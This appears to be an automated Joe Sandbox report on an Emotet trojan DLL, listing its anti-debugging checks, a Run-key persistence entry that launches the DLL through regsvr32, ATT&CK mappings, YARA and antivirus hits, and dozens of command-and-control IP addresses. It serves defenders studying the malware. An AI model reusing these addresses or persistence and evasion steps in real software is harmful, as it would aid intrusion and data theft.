                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\regsvr32.exe TID: 3420Thread sleep time: -30000s >= -30000sJump to behavior
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018000B6FC GetSystemTimeAsFileTime followed by cmp: cmp dword ptr [rax+7ch], 01h and CTI: je 000000018000B7A2h3_2_000000018000B6FC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018000B6FC GetSystemTimeAsFileTime followed by cmp: cmp dword ptr [rax+00000080h], 01h and CTI: je 000000018000B7A2h3_2_000000018000B6FC
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000B6FC GetSystemTimeAsFileTime followed by cmp: cmp dword ptr [rax+7ch], 01h and CTI: je 000000018000B7A2h4_2_000000018000B6FC
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000B6FC GetSystemTimeAsFileTime followed by cmp: cmp dword ptr [rax+00000080h], 01h and CTI: je 000000018000B7A2h4_2_000000018000B6FC
                      Source: C:\Windows\System32\regsvr32.exeAPI coverage: 5.8 %
                      Source: C:\Windows\System32\rundll32.exeAPI coverage: 5.5 %
                      Source: C:\Windows\System32\regsvr32.exeProcess information queried: ProcessInformationJump to behavior
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018000E504 GetSystemTime,SystemTimeToFileTime,FindFirstFileW,swprintf,swprintf,CloseHandle,swprintf,FindNextFileW,FindClose,3_2_000000018000E504
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000E504 GetSystemTime,SystemTimeToFileTime,FindFirstFileW,swprintf,swprintf,CloseHandle,swprintf,FindNextFileW,FindClose,4_2_000000018000E504
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029D32FC FindNextFileW,FindFirstFileW,FindClose,8_2_029D32FC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018000DCA0 RegCreateKeyExW,RegQueryValueExW,RegCloseKey,GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetLastError,3_2_000000018000DCA0
                      Source: C:\Windows\System32\regsvr32.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                      Source: C:\Windows\System32\regsvr32.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                      Source: regsvr32.exe, 00000008.00000002.768165460.0000000000FA0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.768182445.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.468875093.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.468641649.0000000000FA2000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.468687202.0000000000F98000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.339812172.0000000000F95000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                      Source: regsvr32.exe, 00000008.00000003.468708556.0000000000F61000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.767971584.0000000000F61000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW`
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_0000000180025630 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,3_2_0000000180025630
                      Source: C:\Windows\System32\loaddll64.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Windows\System32\rundll32.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Windows\System32\rundll32.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Windows\System32\rundll32.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Windows\System32\rundll32.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_0000000180025630 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,3_2_0000000180025630
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018001579C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,3_2_000000018001579C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_0000000180015984 SetUnhandledExceptionFilter,3_2_0000000180015984
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_0000000180014A60 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,3_2_0000000180014A60
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180025630 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,4_2_0000000180025630
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001579C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,4_2_000000018001579C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180015984 SetUnhandledExceptionFilter,4_2_0000000180015984
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180014A60 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,4_2_0000000180014A60

                      HIPS / PFW / Operating System Protection Evasion

                      barindex
                      System process connects to network (likely due to code injection or exploit)
                      Source: C:\Windows\System32\regsvr32.exeNetwork Connect: 218.38.121.17 443Jump to behavior
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll",#1Jump to behavior
                      Source: C:\Windows\System32\regsvr32.exeQueries volume information: C:\ VolumeInformationJump to behavior
                      Source: C:\Windows\System32\regsvr32.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_0000000180006024 GetSystemTime,SystemTimeToFileTime,3_2_0000000180006024
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018005F03C _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,3_2_000000018005F03C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_0000000180001850 GetCommandLineW,CommandLineToArgvW,GetVersionExA,3_2_0000000180001850

                      Stealing of Sensitive Information

                      barindex
                      Yara detected Emotet
                      Source: Yara matchFile source: 00000008.00000002.767607073.0000000000F14000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 5.2.rundll32.exe.21ce8590000.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 5.2.rundll32.exe.21ce8590000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.2.regsvr32.exe.b00000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 5.0.rundll32.exe.21ce8590000.3.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.0.rundll32.exe.22ab0780000.3.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.0.rundll32.exe.22ab0780000.3.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.2.regsvr32.exe.b00000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 22.2.regsvr32.exe.2a00000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.0.rundll32.exe.22ab0780000.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.2.rundll32.exe.22ab0780000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 5.0.rundll32.exe.21ce8590000.3.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 8.2.regsvr32.exe.2990000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.0.rundll32.exe.22ab0780000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 5.0.rundll32.exe.21ce8590000.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.2.rundll32.exe.22ab0780000.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 22.2.regsvr32.exe.2a00000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 5.0.rundll32.exe.21ce8590000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 8.2.regsvr32.exe.2990000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000004.00000000.253014513.0000022AB0991000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000005.00000000.253546936.0000021CE85C1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000016.00000002.371644938.0000000002A00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000002.254242832.0000000000B00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000016.00000002.371681565.0000000002A31000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000008.00000002.768911804.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000002.287369701.0000022AB0780000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000000.254193655.0000022AB0991000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000000.253580195.0000022AB0780000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000002.287814441.0000022AB0991000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000005.00000000.255111695.0000021CE8590000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000005.00000002.287467703.0000021CE8590000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000008.00000002.768771937.0000000002990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000005.00000000.255327053.0000021CE85C1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000005.00000000.253497739.0000021CE8590000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000005.00000002.287612874.0000021CE85C1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000000.251796872.0000022AB0780000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

                      Mitre Att&ck Matrix

                      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
                      Valid AccountsWindows Management Instrumentation11
                      Registry Run Keys / Startup Folder                      		1
                      Access Token Manipulation                      		21
                      Masquerading                      		OS Credential Dumping12
                      System Time Discovery                      		Remote Services1
                      Archive Collected Data                      		Exfiltration Over Other Network Medium21
                      Encrypted Channel                      		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
                      Default AccountsScheduled Task/Job1
                      DLL Side-Loading                      		111
                      Process Injection                      		2
                      Virtualization/Sandbox Evasion                      		LSASS Memory21
                      Security Software Discovery                      		Remote Desktop ProtocolData from Removable MediaExfiltration Over Bluetooth1
                      Ingress Tool Transfer                      		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
                      Domain AccountsAt (Linux)Logon Script (Windows)11
                      Registry Run Keys / Startup Folder                      		1
                      Access Token Manipulation                      		Security Account Manager2
                      Virtualization/Sandbox Evasion                      		SMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration1
                      Non-Application Layer Protocol                      		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
                      Local AccountsAt (Windows)Logon Script (Mac)1
                      DLL Side-Loading                      		111
                      Process Injection                      		NTDS2
                      Process Discovery                      		Distributed Component Object ModelInput CaptureScheduled Transfer12
                      Application Layer Protocol                      		SIM Card SwapCarrier Billing Fraud
                      Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
                      Deobfuscate/Decode Files or Information                      		LSA Secrets1
                      Remote System Discovery                      		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
                      Replication Through Removable MediaLaunchdRc.commonRc.common1
                      Hidden Files and Directories                      		Cached Domain Credentials3
                      File and Directory Discovery                      		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
                      External Remote ServicesScheduled TaskStartup ItemsStartup Items2
                      Obfuscated Files or Information                      		DCSync16
                      System Information Discovery                      		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
                      Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job1
                      Regsvr32                      		Proc FilesystemNetwork Service ScanningShared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
                      Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)1
                      Rundll32                      		/etc/passwd and /etc/shadowSystem Network Connections DiscoverySoftware Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction
                      Supply Chain CompromiseAppleScriptAt (Windows)At (Windows)1
                      DLL Side-Loading                      		Network SniffingProcess DiscoveryTaint Shared ContentLocal Data StagingExfiltration Over Unencrypted/Obfuscated Non-C2 ProtocolFile Transfer ProtocolsData Encrypted for Impact
                      Compromise Software Dependencies and Development ToolsWindows Command ShellCronCron1
                      File Deletion                      		Input CapturePermission Groups DiscoveryReplication Through Removable MediaRemote Data StagingExfiltration Over Physical MediumMail ProtocolsService Stop

                      Behavior Graph

                      Hide Legend

                      Legend:

                      • Process
                      • Signature
                      • Created File
                      • DNS/IP Info
                      • Is Dropped
                      • Is Windows Process
                      • Number of created Registry Values
                      • Number of created Files
                      • Visual Basic
                      • Delphi
                      • Java
                      • .Net C# or VB.NET
                      • C, C++ or other language
                      • Is malicious
                      • Internet
                      behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 750456 Sample: kOiaWLNKXpjayWeM.dll Startdate: 21/11/2022 Architecture: WINDOWS Score: 100 35 103.224.241.74 WEBWERKS-AS-INWebWerksIndiaPvtLtdIN India 2->35 37 210.57.209.142 UNAIR-AS-IDUniversitasAirlanggaID Indonesia 2->37 39 43 other IPs or domains 2->39 45 Snort IDS alert for network traffic 2->45 47 Antivirus detection for URL or domain 2->47 49 Multi AV Scanner detection for submitted file 2->49 51 2 other signatures 2->51 9 loaddll64.exe 1 2->9         started        11 regsvr32.exe 2 2->11         started        signatures3 process4 signatures5 14 regsvr32.exe 2 9->14         started        17 rundll32.exe 9->17         started        19 cmd.exe 1 9->19         started        23 3 other processes 9->23 57 Hides that the sample has been downloaded from the Internet (zone.identifier) 11->57 21 regsvr32.exe 11->21         started        process6 signatures7 59 Hides that the sample has been downloaded from the Internet (zone.identifier) 14->59 25 regsvr32.exe 1 14->25         started        29 WerFault.exe 9 17->29         started        31 rundll32.exe 19->31         started        process8 dnsIp9 41 218.38.121.17, 443, 49714 SKB-ASSKBroadbandCoLtdKR Korea Republic of 25->41 53 System process connects to network (likely due to code injection or exploit) 25->53 55 Creates an autostart registry key pointing to binary in C:\Windows 25->55 43 192.168.2.1 unknown unknown 29->43 33 WerFault.exe 21 9 31->33         started        signatures10 process11

                      Screenshots

                      Thumbnails

                      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                      windows-stand

                      Antivirus, Machine Learning and Genetic Malware Detection

                      Initial Sample

                      SourceDetectionScannerLabelLink
                      kOiaWLNKXpjayWeM.dll88%ReversingLabsWin64.Trojan.Emotet
                      kOiaWLNKXpjayWeM.dll73%VirustotalBrowse

                      Dropped Files

                      ⊘No Antivirus matches

                      Unpacked PE Files

                      SourceDetectionScannerLabelLinkDownload
                      4.0.rundll32.exe.22ab0780000.1.unpack100%AviraHEUR/AGEN.1215461Download File
                      3.2.regsvr32.exe.b00000.0.unpack100%AviraHEUR/AGEN.1215461Download File
                      5.0.rundll32.exe.21ce8590000.1.unpack100%AviraHEUR/AGEN.1215461Download File
                      5.0.rundll32.exe.21ce8590000.3.unpack100%AviraHEUR/AGEN.1215461Download File
                      5.2.rundll32.exe.21ce8590000.1.unpack100%AviraHEUR/AGEN.1215461Download File
                      4.0.rundll32.exe.22ab0780000.3.unpack100%AviraHEUR/AGEN.1215461Download File
                      4.2.rundll32.exe.22ab0780000.1.unpack100%AviraHEUR/AGEN.1215461Download File
                      22.2.regsvr32.exe.2a00000.0.unpack100%AviraHEUR/AGEN.1215461Download File
                      8.2.regsvr32.exe.2990000.0.unpack100%AviraHEUR/AGEN.1215461Download File

                      Domains

                      ⊘No Antivirus matches

                      URLs

                      SourceDetectionScannerLabelLink
                      https://218.38.121.17/0%URL Reputationsafe
                      https://218.38.121.17/$100%Avira URL Cloudmalware

                      Domains and IPs

                      Contacted Domains

                      ⊘No contacted domains info

                      Contacted URLs

                      NameMaliciousAntivirus DetectionReputation
                      https://218.38.121.17/true
                      • URL Reputation: safe
                      		unknown

                      URLs from Memory and Binaries

                      NameSourceMaliciousAntivirus DetectionReputation
                      https://218.38.121.17/$regsvr32.exe, 00000008.00000002.767607073.0000000000F14000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: malware
                      		unknown

                      World Map of Contacted IPs

                      • No. of IPs < 25%
                      • 25% < No. of IPs < 50%
                      • 50% < No. of IPs < 75%
                      • 75% < No. of IPs

                      Public IPs

                      IPDomainCountryFlagASNASN NameMalicious
                      188.165.79.151
                      		unknownFrance
                      		16276OVHFRtrue
                      196.44.98.190
                      		unknownGhana
                      		327814EcobandGHtrue
                      174.138.33.49
                      		unknownUnited States
                      		14061DIGITALOCEAN-ASNUStrue
                      160.16.143.191
                      		unknownJapan9370SAKURA-BSAKURAInternetIncJPtrue
                      36.67.23.59
                      		unknownIndonesia
                      		17974TELKOMNET-AS2-APPTTelekomunikasiIndonesiaIDtrue
                      103.41.204.169
                      		unknownIndonesia
                      		58397INFINYS-AS-IDPTInfinysSystemIndonesiaIDtrue
                      103.56.149.105
                      		unknownIndonesia
                      		55688BEON-AS-IDPTBeonIntermediaIDtrue
                      85.214.67.203
                      		unknownGermany
                      		6724STRATOSTRATOAGDEtrue
                      83.229.80.93
                      		unknownUnited Kingdom
                      		8513SKYVISIONGBtrue
                      85.25.120.45
                      		unknownGermany
                      		8972GD-EMEA-DC-SXB1DEtrue
                      198.199.70.22
                      		unknownUnited States
                      		14061DIGITALOCEAN-ASNUStrue
                      93.104.209.107
                      		unknownGermany
                      		8767MNET-ASGermanyDEtrue
                      186.250.48.5
                      		unknownBrazil
                      		262807RedfoxTelecomunicacoesLtdaBRtrue
                      175.126.176.79
                      		unknownKorea Republic of
                      		9523MOKWON-AS-KRMokwonUniversityKRtrue
                      139.196.72.155
                      		unknownChina
                      		37963CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtdtrue
                      128.199.242.164
                      		unknownUnited Kingdom
                      		14061DIGITALOCEAN-ASNUStrue
                      103.126.216.86
                      		unknownBangladesh
                      		138482SKYVIEW-AS-APSKYVIEWONLINELTDBDtrue
                      178.238.225.252
                      		unknownGermany
                      		51167CONTABODEtrue
                      128.199.217.206
                      		unknownUnited Kingdom
                      		14061DIGITALOCEAN-ASNUStrue
                      190.145.8.4
                      		unknownColombia
                      		14080TelmexColombiaSACOtrue
                      46.101.98.60
                      		unknownNetherlands
                      		14061DIGITALOCEAN-ASNUStrue
                      82.98.180.154
                      		unknownSpain
                      		42612DINAHOSTING-ASEStrue
                      114.79.130.68
                      		unknownIndia
                      		45769DVOIS-IND-VoisBroadbandPvtLtdINtrue
                      103.71.99.57
                      		unknownIndia
                      		135682AWDHPL-AS-INAdvikaWebDevelopmentsHostingPvtLtdINtrue
                      103.224.241.74
                      		unknownIndia
                      		133296WEBWERKS-AS-INWebWerksIndiaPvtLtdINtrue
                      210.57.209.142
                      		unknownIndonesia
                      		38142UNAIR-AS-IDUniversitasAirlanggaIDtrue
                      202.28.34.99
                      		unknownThailand
                      		9562MSU-TH-APMahasarakhamUniversityTHtrue
                      87.106.97.83
                      		unknownGermany
                      		8560ONEANDONE-ASBrauerstrasse48DEtrue
                      103.254.12.236
                      		unknownViet Nam
                      		56151DIGISTAR-VNDigiStarCompanyLimitedVNtrue
                      103.85.95.4
                      		unknownIndonesia
                      		136077IDNIC-UNSRAT-AS-IDUniversitasIslamNegeriMataramIDtrue
                      80.211.107.116
                      		unknownItaly
                      		31034ARUBA-ASNITtrue
                      54.37.228.122
                      		unknownFrance
                      		16276OVHFRtrue
                      202.134.4.210
                      		unknownIndonesia
                      		7713TELKOMNET-AS-APPTTelekomunikasiIndonesiaIDtrue
                      218.38.121.17
                      		unknownKorea Republic of
                      		9318SKB-ASSKBroadbandCoLtdKRtrue
                      185.148.169.10
                      		unknownGermany
                      		44780EVERSCALE-ASDEtrue
                      165.22.254.236
                      		unknownUnited States
                      		14061DIGITALOCEAN-ASNUStrue
                      195.77.239.39
                      		unknownSpain
                      		60493FICOSA-ASEStrue
                      78.47.204.80
                      		unknownGermany
                      		24940HETZNER-ASDEtrue
                      118.98.72.86
                      		unknownIndonesia
                      		7713TELKOMNET-AS-APPTTelekomunikasiIndonesiaIDtrue
                      139.59.80.108
                      		unknownSingapore
                      		14061DIGITALOCEAN-ASNUStrue
                      178.62.112.199
                      		unknownEuropean Union
                      		14061DIGITALOCEAN-ASNUStrue
                      104.244.79.94
                      		unknownUnited States
                      		53667PONYNETUStrue
                      37.44.244.177
                      		unknownGermany
                      		47583AS-HOSTINGERLTtrue
                      62.171.178.147
                      		unknownUnited Kingdom
                      		51167CONTABODEtrue
                      51.75.33.122
                      		unknownFrance
                      		16276OVHFRtrue
                      64.227.55.231
                      		unknownUnited States
                      		14061DIGITALOCEAN-ASNUStrue

                      Private

                      IP
                      192.168.2.1

                      General Information

                      Joe Sandbox Version:36.0.0 Rainbow Opal
                      Analysis ID:750456
                      Start date and time:2022-11-21 03:31:51 +01:00
                      Joe Sandbox Product:CloudBasic
                      Overall analysis duration:0h 9m 55s
                      Hypervisor based Inspection enabled:false
                      Report type:full
                      Sample file name:kOiaWLNKXpjayWeM.dll
                      Cookbook file name:default.jbs
                      Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
                      Number of analysed new started processes analysed:29
                      Number of new started drivers analysed:0
                      Number of existing processes analysed:0
                      Number of existing drivers analysed:0
                      Number of injected processes analysed:0
                      Technologies:
                      • HCA enabled
                      • EGA enabled
                      • HDC enabled
                      • AMSI enabled
                      Analysis Mode:default
                      Analysis stop reason:Timeout
                      Detection:MAL
                      Classification:mal100.troj.evad.winDLL@21/8@0/47
                      EGA Information:
                      • Successful, ratio: 100%
                      HDC Information:
                      • Successful, ratio: 90% (good quality ratio 84.4%)
                      • Quality average: 74.9%
                      • Quality standard deviation: 30.3%
                      HCA Information:
                      • Successful, ratio: 95%
                      • Number of executed functions: 18
                      • Number of non-executed functions: 285
                      Cookbook Comments:
                      • Found application associated with file extension: .dll
                      • Override analysis time to 240s for rundll32

                      Warnings

                      • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WerFault.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
                      • Excluded IPs from analysis (whitelisted): 20.189.173.22, 20.189.173.21
                      • Excluded domains from analysis (whitelisted): fs.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus17.westus.cloudapp.azure.com, onedsblobprdwus16.westus.cloudapp.azure.com, watson.telemetry.microsoft.com
                      • Not all processes where analyzed, report is missing behavior information
                      • Report size exceeded maximum capacity and may have missing behavior information.
                      • Report size exceeded maximum capacity and may have missing disassembly code.
                      • Report size getting too big, too many NtOpenKeyEx calls found.
                      • Report size getting too big, too many NtProtectVirtualMemory calls found.
                      • Report size getting too big, too many NtQueryValueKey calls found.

                      Simulations

                      Behavior and APIs

                      TimeTypeDescription
                      03:33:03API Interceptor2x Sleep call for process: WerFault.exe modified
                      03:33:28API Interceptor1x Sleep call for process: regsvr32.exe modified
                      03:33:30AutostartRun: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run KuLiEStglluewHbC.dll C:\Windows\system32\regsvr32.exe "C:\Windows\system32\WVVZhuligM\KuLiEStglluewHbC.dll"

                      Joe Sandbox View / Context

                      IPs

                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                      188.165.79.151UC2DFXQIBiE2kQ.dllGet hashmaliciousBrowse
                        UC2DFXQIBiE2kQ.dllGet hashmaliciousBrowse
                          UC2DFXQIBiE2kQ.dllGet hashmaliciousBrowse
                            UC2DFXQIBiE2kQ.dllGet hashmaliciousBrowse
                              Untitled-09112022.xlsGet hashmaliciousBrowse
                                4470_02112022.xlsGet hashmaliciousBrowse
                                  4470_02112022.xlsGet hashmaliciousBrowse
                                    DVvzRulsoR.dllGet hashmaliciousBrowse
                                      jYzNEOocXJ.dllGet hashmaliciousBrowse
                                        DVvzRulsoR.dllGet hashmaliciousBrowse
                                          BiiRGnhWx8.dllGet hashmaliciousBrowse
                                            jYzNEOocXJ.dllGet hashmaliciousBrowse
                                              BiiRGnhWx8.dllGet hashmaliciousBrowse
                                                gdazhx1EIP.dllGet hashmaliciousBrowse
                                                  UNUy8dUYWp.dllGet hashmaliciousBrowse
                                                    gdazhx1EIP.dllGet hashmaliciousBrowse
                                                      UNUy8dUYWp.dllGet hashmaliciousBrowse
                                                        3sbn8ZI5nn.dllGet hashmaliciousBrowse
                                                          3sbn8ZI5nn.dllGet hashmaliciousBrowse
                                                            zzkCIdCoDt.dllGet hashmaliciousBrowse
                                                              196.44.98.190UC2DFXQIBiE2kQ.dllGet hashmaliciousBrowse
                                                                UC2DFXQIBiE2kQ.dllGet hashmaliciousBrowse
                                                                  UC2DFXQIBiE2kQ.dllGet hashmaliciousBrowse
                                                                    UC2DFXQIBiE2kQ.dllGet hashmaliciousBrowse
                                                                      Untitled-09112022.xlsGet hashmaliciousBrowse
                                                                        4470_02112022.xlsGet hashmaliciousBrowse
                                                                          4470_02112022.xlsGet hashmaliciousBrowse
                                                                            DVvzRulsoR.dllGet hashmaliciousBrowse
                                                                              jYzNEOocXJ.dllGet hashmaliciousBrowse
                                                                                DVvzRulsoR.dllGet hashmaliciousBrowse
                                                                                  BiiRGnhWx8.dllGet hashmaliciousBrowse
                                                                                    jYzNEOocXJ.dllGet hashmaliciousBrowse
                                                                                      BiiRGnhWx8.dllGet hashmaliciousBrowse
                                                                                        gdazhx1EIP.dllGet hashmaliciousBrowse
                                                                                          UNUy8dUYWp.dllGet hashmaliciousBrowse
                                                                                            gdazhx1EIP.dllGet hashmaliciousBrowse
                                                                                              UNUy8dUYWp.dllGet hashmaliciousBrowse
                                                                                                3sbn8ZI5nn.dllGet hashmaliciousBrowse
                                                                                                  3sbn8ZI5nn.dllGet hashmaliciousBrowse
                                                                                                    zzkCIdCoDt.dllGet hashmaliciousBrowse

                                                                                                      Domains

                                                                                                      ⊘No context

                                                                                                      ASNs

                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                      EcobandGHUC2DFXQIBiE2kQ.dllGet hashmaliciousBrowse
                                                                                                      • 196.44.98.190
                                                                                                      UC2DFXQIBiE2kQ.dllGet hashmaliciousBrowse
                                                                                                      • 196.44.98.190
                                                                                                      UC2DFXQIBiE2kQ.dllGet hashmaliciousBrowse
                                                                                                      • 196.44.98.190
                                                                                                      UC2DFXQIBiE2kQ.dllGet hashmaliciousBrowse
                                                                                                      • 196.44.98.190
                                                                                                      Untitled-09112022.xlsGet hashmaliciousBrowse
                                                                                                      • 196.44.98.190
                                                                                                      4470_02112022.xlsGet hashmaliciousBrowse
                                                                                                      • 196.44.98.190
                                                                                                      4470_02112022.xlsGet hashmaliciousBrowse
                                                                                                      • 196.44.98.190
                                                                                                      DVvzRulsoR.dllGet hashmaliciousBrowse
                                                                                                      • 196.44.98.190
                                                                                                      jYzNEOocXJ.dllGet hashmaliciousBrowse
                                                                                                      • 196.44.98.190
